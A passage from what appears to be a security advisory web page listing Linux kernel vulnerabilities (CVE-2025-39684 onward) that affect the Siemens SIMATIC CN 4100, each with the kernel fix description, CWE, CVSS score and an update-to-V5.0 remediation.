csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 